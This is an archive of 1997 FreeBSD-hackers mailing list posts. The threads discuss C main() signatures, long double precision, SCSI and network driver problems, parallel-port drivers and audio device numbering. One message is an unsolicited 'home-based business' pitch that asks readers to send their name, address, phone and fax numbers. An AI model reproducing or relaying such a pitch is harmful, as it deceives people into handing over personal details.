Luigi -----------------------------+-------------------------------------- Luigi Rizzo | Dip. di Ingegneria dell'Informazione email: luigi@iet.unipi.it | Universita' di Pisa tel: +39-50-568533 | via Diotisalvi 2, 56126 PISA (Italy) fax: +39-50-568522 | http://www.iet.unipi.it/~luigi/ _____________________________|______________________________________ From owner-freebsd-hackers Sat May 31 00:50:54 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id AAA12258 for hackers-outgoing; Sat, 31 May 1997 00:50:54 -0700 (PDT) Received: from sax.sax.de (sax.sax.de [193.175.26.33]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id AAA12253 for ; Sat, 31 May 1997 00:50:52 -0700 (PDT) Received: (from uucp@localhost) by sax.sax.de (8.6.12/8.6.12-s1) with UUCP id JAA18867; Sat, 31 May 1997 09:50:49 +0200 Received: (from j@localhost) by uriah.heep.sax.de (8.8.5/8.8.5) id JAA10983; Sat, 31 May 1997 09:28:37 +0200 (MET DST) Message-ID: <19970531092837.DA51579@uriah.heep.sax.de> Date: Sat, 31 May 1997 09:28:37 +0200 From: j@uriah.heep.sax.de (J Wunsch) To: hackers@FreeBSD.ORG (freebsd-hackers) Cc: un_x@anchorage.net (Steve Howe) Subject: Re: bcc vs cc/gcc (float) References: X-Mailer: Mutt 0.60_p2-3,5,8-9 Mime-Version: 1.0 X-Phone: +49-351-2012 669 X-PGP-Fingerprint: DC 47 E6 E4 FF A6 E9 8F 93 21 E0 7D F9 12 D6 4E Reply-To: joerg_wunsch@uriah.heep.sax.de (Joerg Wunsch) In-Reply-To: ; from Steve Howe on May 30, 1997 12:30:45 -0800 Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk As Steve Howe wrote: > i have taken a great deal of time creating this code to > show this point - and it should compile cleanly as is > under bcc/cc/gcc. Borland C (4.51) can run this code > without any loss of accuracy. please CC me, i'm not > subscribed. Well, you should perhaps have posted the expected output... instead of relying on people having a Borland C. (Btw., ``bcc'' here usually refers to ``Bruce's C compiler'' which can be found in the FreeBSD ports collection, and is expected to be older than Borland's use of the term `bcc'. ;-) I'm not much surprised that the use of non-standard components (long double) produces unexpected results. You multiply a long double with a double (result of pow()), so who tells you whether the compiler does it by first extending the result of pow() to long double format (thus `inventing' missing precision digits), or by first truncating the long double (although i wouldn't expect this)? > void main (unsigned char argc, unsigned char **argv) { Don't get caught in comp.lang.c with this. :) It's an invalid definition of main, thus the behaviour is implementation-dependant. gcc could have exited immediately without violating the standard. The only valid declarations of main() are: int main(int, char **) int main(void) Also, your blatant use of unsigned char for everything doesn't look right. At least with gcc, using an unsigned char as a loop index counter isn't doing any good and is likely to slow down your code. It doesn't save space at all, since (i think) %dh, %dl, and %edx are all a single register for gcc, regardless of how many bits you're using. -- cheers, J"org joerg_wunsch@uriah.heep.sax.de -- http://www.sax.de/~joerg/ -- NIC: JW11-RIPE Never trust an operating system you don't have sources for. ;-) From owner-freebsd-hackers Sat May 31 01:06:47 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id BAA12690 for hackers-outgoing; Sat, 31 May 1997 01:06:47 -0700 (PDT) Received: from caipfs.rutgers.edu (root@caipfs.rutgers.edu [128.6.155.100]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id BAA12684 for ; Sat, 31 May 1997 01:06:44 -0700 (PDT) Received: from jenolan.caipgeneral (jenolan.rutgers.edu [128.6.111.5]) by caipfs.rutgers.edu (8.8.5/8.8.5) with SMTP id EAA07868; Sat, 31 May 1997 04:06:42 -0400 (EDT) Received: by jenolan.caipgeneral (SMI-8.6/SMI-SVR4) id EAA00272; Sat, 31 May 1997 04:04:48 -0400 Date: Sat, 31 May 1997 04:04:48 -0400 Message-Id: <199705310804.EAA00272@jenolan.caipgeneral> From: "David S. Miller" To: joerg_wunsch@uriah.heep.sax.de CC: hackers@FreeBSD.ORG, un_x@anchorage.net In-reply-to: <19970531092837.DA51579@uriah.heep.sax.de> (j@uriah.heep.sax.de) Subject: Re: bcc vs cc/gcc (float) Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Date: Sat, 31 May 1997 09:28:37 +0200 From: j@uriah.heep.sax.de (J Wunsch) The only valid declarations of main() are: int main(int, char **) int main(void) I thought ANSI C allowed int main(int argc, char **argv, char **envp) I could be mistaken... From owner-freebsd-hackers Sat May 31 02:01:25 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id CAA14107 for hackers-outgoing; Sat, 31 May 1997 02:01:25 -0700 (PDT) Received: from pahtoh.cwu.edu (root@pahtoh.cwu.edu [198.104.65.27]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id CAA14102 for ; Sat, 31 May 1997 02:01:21 -0700 (PDT) Received: from opus.cts.cwu.edu (skynyrd@opus.cts.cwu.edu [198.104.92.71]) by pahtoh.cwu.edu (8.8.5/8.8.5) with ESMTP id CAA06411; Sat, 31 May 1997 02:01:17 -0700 (PDT) Received: from localhost (skynyrd@localhost) by opus.cts.cwu.edu (8.8.5/8.8.5) with SMTP id CAA01533; Sat, 31 May 1997 02:01:16 -0700 (PDT) Date: Sat, 31 May 1997 02:01:16 -0700 (PDT) From: Chris Timmons To: "David S. Miller" cc: joerg_wunsch@uriah.heep.sax.de, hackers@FreeBSD.ORG, un_x@anchorage.net Subject: Re: bcc vs cc/gcc (float) In-Reply-To: <199705310804.EAA00272@jenolan.caipgeneral> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Apparantly ISO C allows you to declare with either 0 or 2 parameters (i.e. no environment.) (This according to Harbison/Steele 4th ed.) On Sat, 31 May 1997, David S. Miller wrote: > Date: Sat, 31 May 1997 09:28:37 +0200 > From: j@uriah.heep.sax.de (J Wunsch) > > The only valid declarations of main() are: > > int main(int, char **) > int main(void) > > I thought ANSI C allowed > > int main(int argc, char **argv, char **envp) > > I could be mistaken... > From owner-freebsd-hackers Sat May 31 02:10:52 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id CAA14505 for hackers-outgoing; Sat, 31 May 1997 02:10:52 -0700 (PDT) Received: from godzilla.zeta.org.au (godzilla.zeta.org.au [203.2.228.19]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id CAA14500 for ; Sat, 31 May 1997 02:10:49 -0700 (PDT) Received: (from bde@localhost) by godzilla.zeta.org.au (8.8.5/8.6.9) id TAA08013; Sat, 31 May 1997 19:05:01 +1000 Date: Sat, 31 May 1997 19:05:01 +1000 From: Bruce Evans Message-Id: <199705310905.TAA08013@godzilla.zeta.org.au> To: davem@jenolan.rutgers.edu, joerg_wunsch@uriah.heep.sax.de Subject: Re: bcc vs cc/gcc (float) Cc: hackers@FreeBSD.ORG, un_x@anchorage.net Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > The only valid declarations of main() are: > > int main(int, char **) > int main(void) > >I thought ANSI C allowed > >int main(int argc, char **argv, char **envp) > >I could be mistaken... I thought that it allowed the implementation to allow that. I was mistaken. POSIX.1 specifies that exec shall use the 2-arg form. I think POSIX is an extension of ANSI here, so the 0-arg form is still allowed, but POSIX doesn't seem to say this explicitly. Bruce From owner-freebsd-hackers Sat May 31 02:21:20 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id CAA15032 for hackers-outgoing; Sat, 31 May 1997 02:21:20 -0700 (PDT) Received: from sax.sax.de (sax.sax.de [193.175.26.33]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id CAA15026 for ; Sat, 31 May 1997 02:21:17 -0700 (PDT) Received: (from uucp@localhost) by sax.sax.de (8.6.12/8.6.12-s1) with UUCP id LAA19375; Sat, 31 May 1997 11:21:09 +0200 Received: (from j@localhost) by uriah.heep.sax.de (8.8.5/8.8.5) id LAA11169; Sat, 31 May 1997 11:16:55 +0200 (MET DST) Message-ID: <19970531111655.NI53930@uriah.heep.sax.de> Date: Sat, 31 May 1997 11:16:55 +0200 From: j@uriah.heep.sax.de (J Wunsch) To: freebsd-hackers@FreeBSD.ORG Cc: pvl@nanoteq.com (P. van Leeuwen) Subject: Re: ed0 : device timeout References: <199705300124.KAA22812@genesis.atrad.adelaide.edu.au> <199705301253.OAA00497@pc-pvl.nanoteq.co.za> X-Mailer: Mutt 0.60_p2-3,5,8-9 Mime-Version: 1.0 X-Phone: +49-351-2012 669 X-PGP-Fingerprint: DC 47 E6 E4 FF A6 E9 8F 93 21 E0 7D F9 12 D6 4E Reply-To: joerg_wunsch@uriah.heep.sax.de (Joerg Wunsch) In-Reply-To: <199705301253.OAA00497@pc-pvl.nanoteq.co.za>; from P. van Leeuwen on May 30, 1997 14:53:11 +0200 Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk As P. van Leeuwen wrote: > Can it be that they share memory? I can't find out what the > soundcard uses but the network card is on 0xd8000. NE2000 doesn't use shared memory. The ed driver supports shared mem operation, but it's only used for the 3C503 and SMC/WD8xxx boards. -- cheers, J"org joerg_wunsch@uriah.heep.sax.de -- http://www.sax.de/~joerg/ -- NIC: JW11-RIPE Never trust an operating system you don't have sources for. ;-) From owner-freebsd-hackers Sat May 31 02:32:22 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id CAA15607 for hackers-outgoing; Sat, 31 May 1997 02:32:22 -0700 (PDT) Received: from ns1.allinfosys.com (ns1.allinfosys.com [207.55.155.2]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id CAA15602 for ; Sat, 31 May 1997 02:32:15 -0700 (PDT) From: cyberservices@spica.net Received: from [207.55.155.2] ([153.35.64.9]) by ns1.allinfosys.com (post.office MTA v2.0 0813 ID# 0-11221) with SMTP id ABC159; Fri, 30 May 1997 22:08:50 -0500 Date: Fri, 30 May 97 23:01:20 EST To: Friend@public.com Subject: 3 STEP WAY OF PROFITING Message-ID: <> Reply-To: cyberservices@spica.net X-UIDL: 33333333333333333333333333333333 Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk WELCOME TO CYBERLINK ON-LINE CLASSIFIEDS. *****expand window to full view for better reading***** If you would like information about advertising space & rates, send email to:cyberservices@spica.net type: ADS in the subject & message sections To be removed, send email to:cyberservices@spica.net Type REMOVE in the subject & message sections For info on the following offer, send email to: forecru@aol.com Type INFO in the subject & message sections ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ************************************************ If there was a simple, 3 step way of profiting from Internet and Television commerce, would you be interested? It's IMPORTANT you understand this .... you already have the necessary skills, you already have enough time and you already have the necessary equipment to start this home-based business right now! For a limited time, I will fax you the 4 page Research Report from the Nation's Leading Home-Based Business analyst that outlines this very profitable opportunity. For your free copy, you must send me your complete name, address, phone & fAX#. To place yourself in the highest profit producing position created by "MEGATREND" ACT NOW! From owner-freebsd-hackers Sat May 31 02:36:29 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id CAA15795 for hackers-outgoing; Sat, 31 May 1997 02:36:29 -0700 (PDT) Received: from godzilla.zeta.org.au (godzilla.zeta.org.au [203.2.228.19]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id CAA15790 for ; Sat, 31 May 1997 02:36:25 -0700 (PDT) Received: (from bde@localhost) by godzilla.zeta.org.au (8.8.5/8.6.9) id TAA08679; Sat, 31 May 1997 19:30:36 +1000 Date: Sat, 31 May 1997 19:30:36 +1000 From: Bruce Evans Message-Id: <199705310930.TAA08679@godzilla.zeta.org.au> To: hackers@FreeBSD.ORG, j@uriah.heep.sax.de Subject: Re: bcc vs cc/gcc (float) Cc: un_x@anchorage.net Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk >> i have taken a great deal of time creating this code to >> show this point - and it should compile cleanly as is >> under bcc/cc/gcc. Borland C (4.51) can run this code >> without any loss of accuracy. please CC me, i'm not >> subscribed. This code needs to use nonstandard long double math functions (powl() and fmodl()) to work for values > DBL_MAX. FreeBSD does not support these functions. This code also requires long double precision to actually work. Long double precision is not the default in FreeBSD. You can set it using fpsetprec(). Printing of long double values with full precision is not supported in FreeBSD. This is why the same value is printed for `ld-9' as for `ld'. All this has very little to do with gcc. >I'm not much surprised that the use of non-standard components (long >double) produces unexpected results. You multiply a long double with >a double (result of pow()), so who tells you whether the compiler does >it by first extending the result of pow() to long double format (thus >`inventing' missing precision digits), or by first truncating the long >double (although i wouldn't expect this)? The ANSI C standard :-). However, the standard doesn't specify that long double precision is strictly more precise than double precsision or the amount of precision of double precsision. /*****************************************************************************/ unsigned char *ftous (unsigned char *s, long double val, unsigned char base) { /* float to unsigned string */ /* if base>10 adjust */ unsigned char *p=s; /* to alpha numeral */ if ( val < 0 ) val = -val; /* val+=0.49999999; <- needed for Borland C */ ^^^^^^^^^^^^^^^ Shouldn't be necessary. The algorithm requires `val' to have no fractional part. do { *p++ = itoan(fmod(val, base)); printf("- %s %Lf\n", s, val); val/=base; ^^^^^^^^^ Bug. The fractional part needs to be subtracted somewhere, perhaps using `val = floor(val / base);' here. } while ( val >= 1 ); *p = 0; return( strrvs(s, 0) );} /*****************************************************************************/ Bruce From owner-freebsd-hackers Sat May 31 02:39:26 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id CAA15866 for hackers-outgoing; Sat, 31 May 1997 02:39:26 -0700 (PDT) Received: from Campino.Informatik.RWTH-Aachen.DE (campino.Informatik.RWTH-Aachen.DE [137.226.116.240]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id CAA15861 for ; Sat, 31 May 1997 02:39:24 -0700 (PDT) Received: from gil.physik.rwth-aachen.de (gilberto.physik.rwth-aachen.de [137.226.31.2]) by Campino.Informatik.RWTH-Aachen.DE (RBI-Z-5/8.6.12) with ESMTP id LAA23634 for ; Sat, 31 May 1997 11:39:21 +0200 (MET DST) Received: (from kuku@localhost) by gil.physik.rwth-aachen.de (8.8.5/8.6.9) id LAA24617 for freebsd-hackers@freefall.cdrom.com; Sat, 31 May 1997 11:43:00 +0200 (MEST) Date: Sat, 31 May 1997 11:43:00 +0200 (MEST) From: Christoph Kukulies Message-Id: <199705310943.LAA24617@gil.physik.rwth-aachen.de> To: freebsd-hackers@freefall.FreeBSD.org Subject: ncr timeouts Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk cvsup.de.freebsd.org (blues.physik.rwth-aachen.de) had some problems over the past which I'm hoping to get cured. Uptime wasn't very high (a couple of days only) and I don't know which circumstance causes it to get amnesic by ncr timeouts. It has two ncr PCI controllers (cheapo) and today I swapped them against SC200 (ASUS). Still not sure if this will cure it. The symptom is as follows: ncr1: SCSI phase error fixup: CCB already queued (0xf0d55200) ncr1: timeout f0d55200 (skip) ncr1: timeout f0d55200 (skip) ncr1: timeout f0d55200 (skip) ncr1: timeout f0d55200 (skip) ncr1: timeout f0d55200 (skip) ncr1: timeout f0d55200 (skip) The system is dead in this situation, i.e. cannot access it's disks. The two ncr controllers form a CCD devices (two quantum 3 GB disks = 6GB) This ccd device is NFS exported to ftp.de.freebsd.org and I suspect that it happens when ftp.de.freebsd.org runs it's nightly ls -lR >ls-lR file which might also be a NFS stress test and maybe it's the combination of NFS, CCD and the two controllers. Or might it be just a hard drive problem? Well, the hardware was brand new when I bought it 5 months ago. So at present I put my hope in the maybe somewhat better (ASUS) controllers. But maybe Stefan could comment this also. -- Chris Christoph P. U. Kukulies kuku@gil.physik.rwth-aachen.de From owner-freebsd-hackers Sat May 31 02:51:08 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id CAA16281 for hackers-outgoing; Sat, 31 May 1997 02:51:08 -0700 (PDT) Received: from sax.sax.de (sax.sax.de [193.175.26.33]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id CAA16276 for ; Sat, 31 May 1997 02:51:03 -0700 (PDT) Received: (from uucp@localhost) by sax.sax.de (8.6.12/8.6.12-s1) with UUCP id LAA19844 for hackers@FreeBSD.ORG; Sat, 31 May 1997 11:51:01 +0200 Received: (from j@localhost) by uriah.heep.sax.de (8.8.5/8.8.5) id LAA11364; Sat, 31 May 1997 11:43:54 +0200 (MET DST) Message-ID: <19970531114354.LA46881@uriah.heep.sax.de> Date: Sat, 31 May 1997 11:43:54 +0200 From: j@uriah.heep.sax.de (J Wunsch) To: hackers@FreeBSD.ORG Subject: Re: bcc vs cc/gcc (float) References: <199705310905.TAA08013@godzilla.zeta.org.au> X-Mailer: Mutt 0.60_p2-3,5,8-9 Mime-Version: 1.0 X-Phone: +49-351-2012 669 X-PGP-Fingerprint: DC 47 E6 E4 FF A6 E9 8F 93 21 E0 7D F9 12 D6 4E Reply-To: joerg_wunsch@uriah.heep.sax.de (Joerg Wunsch) In-Reply-To: <199705310905.TAA08013@godzilla.zeta.org.au>; from Bruce Evans on May 31, 1997 19:05:01 +1000 Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk As Bruce Evans wrote: > >int main(int argc, char **argv, char **envp) > I thought that it allowed the implementation to allow that. > I was mistaken. IMHO, Posix specifies the `extern char **environ' extension however. This seems to be more liberal in that the implementation is free in how this pointer is being initialized. I don't see a declaration for environ in our /usr/include/ files. Shouldn't it be there? -- cheers, J"org joerg_wunsch@uriah.heep.sax.de -- http://www.sax.de/~joerg/ -- NIC: JW11-RIPE Never trust an operating system you don't have sources for. ;-) From owner-freebsd-hackers Sat May 31 02:53:05 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id CAA16401 for hackers-outgoing; Sat, 31 May 1997 02:53:05 -0700 (PDT) Received: from sax.sax.de (sax.sax.de [193.175.26.33]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id CAA16386 for ; Sat, 31 May 1997 02:53:01 -0700 (PDT) Received: (from uucp@localhost) by sax.sax.de (8.6.12/8.6.12-s1) with UUCP id LAA19870; Sat, 31 May 1997 11:51:08 +0200 Received: (from j@localhost) by uriah.heep.sax.de (8.8.5/8.8.5) id LAA11399; Sat, 31 May 1997 11:50:24 +0200 (MET DST) Message-ID: <19970531115024.CE15818@uriah.heep.sax.de> Date: Sat, 31 May 1997 11:50:24 +0200 From: j@uriah.heep.sax.de (J Wunsch) To: rssh@cki.ipri.kiev.ua Cc: hackers@FreeBSD.ORG Subject: Re: Inteface for external drivers. (ppa3) References: <338F0AB2.3DD6@cki.ipri.kiev.ua> X-Mailer: Mutt 0.60_p2-3,5,8-9 Mime-Version: 1.0 X-Phone: +49-351-2012 669 X-PGP-Fingerprint: DC 47 E6 E4 FF A6 E9 8F 93 21 E0 7D F9 12 D6 4E Reply-To: joerg_wunsch@uriah.heep.sax.de (Joerg Wunsch) In-Reply-To: <338F0AB2.3DD6@cki.ipri.kiev.ua>; from Ruslan Shevchenko on May 30, 1997 20:13:21 +0300 Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk As Ruslan Shevchenko wrote: > Just Install ppa3.c --- work well, but why I must patch userconfig.c ? Because the current implementation of UserConfig is far from being perfect. As has been discussed before, the design of the various subdrivers for the parallel port needs an overhaul. ISTR that Michael Smith volunteered for this (but required to get a ZIP drive first). Incidentally, Mike is also confident with the UserConfig code. ;-) -- cheers, J"org joerg_wunsch@uriah.heep.sax.de -- http://www.sax.de/~joerg/ -- NIC: JW11-RIPE Never trust an operating system you don't have sources for. ;-) From owner-freebsd-hackers Sat May 31 04:10:55 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id EAA20172 for hackers-outgoing; Sat, 31 May 1997 04:10:55 -0700 (PDT) Received: from huset.fm.unit.no (huset.fm.unit.no [129.241.211.212]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id EAA20164 for ; Sat, 31 May 1997 04:10:48 -0700 (PDT) Message-Id: <199705311110.EAA20164@hub.freebsd.org> Received: (qmail 24672 invoked from network); 31 May 1997 11:10:46 -0000 Received: from huset.fm.unit.no (HELO stud.math.ntnu.no) (129.241.211.212) by huset.fm.unit.no with SMTP; 31 May 1997 11:10:46 -0000 To: joerg_wunsch@uriah.heep.sax.de, j@uriah.heep.sax.de Cc: hackers@FreeBSD.ORG Subject: Re: bcc vs cc/gcc (float) In-Reply-To: Your message of "Sat, 31 May 1997 11:43:54 +0200" References: <19970531114354.LA46881@uriah.heep.sax.de> X-Mailer: Mew version 1.06 on Emacs 19.34.1 Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Date: Sat, 31 May 1997 13:10:46 +0200 From: Arne Henrik Juul Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk j@uriah.heep.sax.de (J Wunsch) wrote: > IMHO, Posix specifies the `extern char **environ' extension however. > This seems to be more liberal in that the implementation is free in > how this pointer is being initialized. > > I don't see a declaration for environ in our /usr/include/ files. > Shouldn't it be there? Posix doesn't specify any (which I think was a mistake), but it would be nice to have it as an extension. Maybe in like sys_siglist? (: everything that doesn't fit anywhere else :-) - Arne H. J. From owner-freebsd-hackers Sat May 31 04:21:15 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id EAA20425 for hackers-outgoing; Sat, 31 May 1997 04:21:15 -0700 (PDT) Received: from time.cdrom.com (root@time.cdrom.com [204.216.27.226]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id EAA20420 for ; Sat, 31 May 1997 04:21:13 -0700 (PDT) Received: from time.cdrom.com (jkh@localhost [127.0.0.1]) by time.cdrom.com (8.8.5/8.6.9) with ESMTP id EAA22349; Sat, 31 May 1997 04:21:37 -0700 (PDT) To: tom@tomqnx.com (Tom Torrance at home) cc: hackers@FreeBSD.ORG Subject: Re: RELENG_2_2 Problems In-reply-to: Your message of "Sat, 31 May 1997 02:02:11 EDT." Date: Sat, 31 May 1997 04:21:37 -0700 Message-ID: <22345.865077697@time.cdrom.com> From: "Jordan K. Hubbard" Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > 1) The RELNOTES.TXT files for 2.2.x-RELEASE all specify that this release > has full CD-R support for the HP6020i. It seems to me that this release > has NO (zero) support for the HP6020. Did I just miss it, or did News to me! I guess I'll rip this HP 6020i drive out of my system since there's no support for it, despite the fact that I've already burned about 20 CDRs with it and RELENG_2_2. :-) Jordan From owner-freebsd-hackers Sat May 31 04:50:51 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id EAA20977 for hackers-outgoing; Sat, 31 May 1997 04:50:51 -0700 (PDT) Received: from whqvax.picker.com (whqvax.picker.com [144.54.1.1]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id EAA20972 for ; Sat, 31 May 1997 04:50:48 -0700 (PDT) Resent-From: rhh@ct.picker.com Received: from ct.picker.com by whqvax.picker.com with SMTP; Sat, 31 May 1997 7:50:17 -0400 (EDT) Received: from elmer.ct.picker.com ([144.54.57.34]) by ct.picker.com (4.1/SMI-4.1) id AA10402; Sat, 31 May 97 07:50:16 EDT Received: by elmer.ct.picker.com (SMI-8.6/SMI-SVR4) id HAA17607; Sat, 31 May 1997 07:49:11 -0400 Resent-Message-Id: <199705311149.HAA17607@elmer.ct.picker.com> Message-Id: <19970531074442.47236@ct.picker.com> Date: Sat, 31 May 1997 07:44:42 -0400 From: Randall Hopper To: Chuck Robey Cc: FreeBSD-multimedia@freebsd.org Subject: Re: Audio devices References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.74 In-Reply-To: ; from Chuck Robey on Fri, May 30, 1997 at 09:45:42PM -0400 Resent-Date: Sat, 31 May 1997 07:49:11 -0400 Resent-To: hackers@freebsd.org Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Chuck Robey: |Does anyone know what the absolute reference is for the major and minor |numbers for the audio devices, like /dev/audio, dsp, dsp0, midi, music, etc? | |I am not looking for the numbers, I can go do an ls -l of my /dev for |that. I'm trying to find the definitive guide for them. If I can get a Well, this may or may not be acclaimed as the definitive guide anymore, but I have a PostScript copy of Hannu Savolainen's "Hacker's Guide to VoxWare 2.4, second draft" that has this table and subsequent text: Device Minor Multi mixer 0 yes sequencer 1 no midi 2 yes dsp 3 yes audio 4 yes dsp16 5 yes sndstat 6 no (unused) 7 no sequencer2 8 no Table 0.1: Minor number assignment of the device files ... The minor number assign ment is given in the table 0.1. The four least significant bits of the minor number are used to select the device file type or class. If there is more than one devices in this class, the upper 4 bits are used to select the device. For example the class number of the /dev/dsp is 3. Then the minor number of /dev/dsp is 3 + 16 * 0 = 3 and the /dev/dsp1 is 3 + 16 * 1 = 19. Seeing as how our Voxware drivers are dated May 6, 1995, and the docs are dated Feb 21, 1994 and describe features up-and-coming for 3.0, it makes sense that this is a close match. BTW, it holds for my card (Sound Blaster 32), except that sequencer2 is called music0, and there's and extra pss0 on minor 9. Randall From owner-freebsd-hackers Sat May 31 05:06:10 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id FAA21244 for hackers-outgoing; Sat, 31 May 1997 05:06:10 -0700 (PDT) Received: from godzilla.zeta.org.au (godzilla.zeta.org.au [203.2.228.19]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id FAA21238 for ; Sat, 31 May 1997 05:06:01 -0700 (PDT) Received: (from bde@localhost) by godzilla.zeta.org.au (8.8.5/8.6.9) id VAA12173; Sat, 31 May 1997 21:52:33 +1000 Date: Sat, 31 May 1997 21:52:33 +1000 From: Bruce Evans Message-Id: <199705311152.VAA12173@godzilla.zeta.org.au> To: hackers@FreeBSD.ORG, j@uriah.heep.sax.de Subject: Re: bcc vs cc/gcc (float) Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk >I don't see a declaration for environ in our /usr/include/ files. >Shouldn't it be there? Not according to POSIX.1 or glibc-2.03. glibc has it in as a __USE_GNU extension. Bruce From owner-freebsd-hackers Sat May 31 05:17:32 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id FAA21485 for hackers-outgoing; Sat, 31 May 1997 05:17:32 -0700 (PDT) Received: from agora.rdrop.com (root@agora.rdrop.com [199.2.210.241]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id FAA21479 for ; Sat, 31 May 1997 05:17:30 -0700 (PDT) Received: from genesis.atrad.adelaide.edu.au (genesis.atrad.adelaide.edu.au [129.127.96.120]) by agora.rdrop.com (8.8.5/8.8.5) with ESMTP id FAA08025 for ; Sat, 31 May 1997 05:17:27 -0700 (PDT) Received: (from msmith@localhost) by genesis.atrad.adelaide.edu.au (8.8.5/8.7.3) id VAA06778; Sat, 31 May 1997 21:45:01 +0930 (CST) From: Michael Smith Message-Id: <199705311215.VAA06778@genesis.atrad.adelaide.edu.au> Subject: Re: Inteface for external drivers. (ppa3) In-Reply-To: <19970531115024.CE15818@uriah.heep.sax.de> from J Wunsch at "May 31, 97 11:50:24 am" To: joerg_wunsch@uriah.heep.sax.de Date: Sat, 31 May 1997 21:45:00 +0930 (CST) Cc: rssh@cki.ipri.kiev.ua, hackers@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL28 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk J Wunsch stands accused of saying: > > As has been discussed before, the design of the various subdrivers for > the parallel port needs an overhaul. ISTR that Michael Smith > volunteered for this (but required to get a ZIP drive first). > Incidentally, Mike is also confident with the UserConfig code. ;-) You will be (may be?) happy to know that I have several reams (literally) of parallel port chip datasheets lying around here, and I am currently learning more than I ever wanted to know about parallel ports. (Does anyone have a soft copy of the ieee1284 spec, or even one of the late drafts? I can't get one short of buying the sod, and that's kinda hard from here 8( ) Right now, I am struggling with the design of a suitable interface that will (attempt to) hide the details of the hardware involved whilst accepting that the modes of communication with parallel-port peripherals generally varies with the configured mode of the port. This is complicated with the fact that whilst most of the "multi-I/O" chips are soft-configurable, their configurations can be locked, and this locking is usually perfoemed by the BIOS, and can only be unlocked by a hardware reset. It's enough to make you sick. Very sick. (I have the Zip, thanks to Jordan. The driver works "OK", but not well enough that I want to commit it yet. There are copyright problems too.) -- ]] Mike Smith, Software Engineer msmith@gsoft.com.au [[ ]] Genesis Software genesis@gsoft.com.au [[ ]] High-speed data acquisition and (GSM mobile) 0411-222-496 [[ ]] realtime instrument control. (ph) +61-8-8267-3493 [[ ]] Unix hardware collector. "Where are your PEZ?" The Tick [[ From owner-freebsd-hackers Sat May 31 05:39:27 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id FAA22090 for hackers-outgoing; Sat, 31 May 1997 05:39:27 -0700 (PDT) Received: from labinfo.iet.unipi.it (labinfo.iet.unipi.it [131.114.9.5]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id FAA22085 for ; Sat, 31 May 1997 05:39:21 -0700 (PDT) Received: from localhost (luigi@localhost) by labinfo.iet.unipi.it (8.6.5/8.6.5) id OAA22027; Sat, 31 May 1997 14:05:27 +0200 From: Luigi Rizzo Message-Id: <199705311205.OAA22027@labinfo.iet.unipi.it> Subject: Re: WHy does Appache eat my system? To: luigi@labinfo.iet.unipi.it (Luigi Rizzo) Date: Sat, 31 May 1997 14:05:27 +0200 (MET DST) Cc: julian@whistle.com, julian@alpo.whistle.com, hackers@FreeBSD.ORG In-Reply-To: <199705310657.IAA21744@labinfo.iet.unipi.it> from 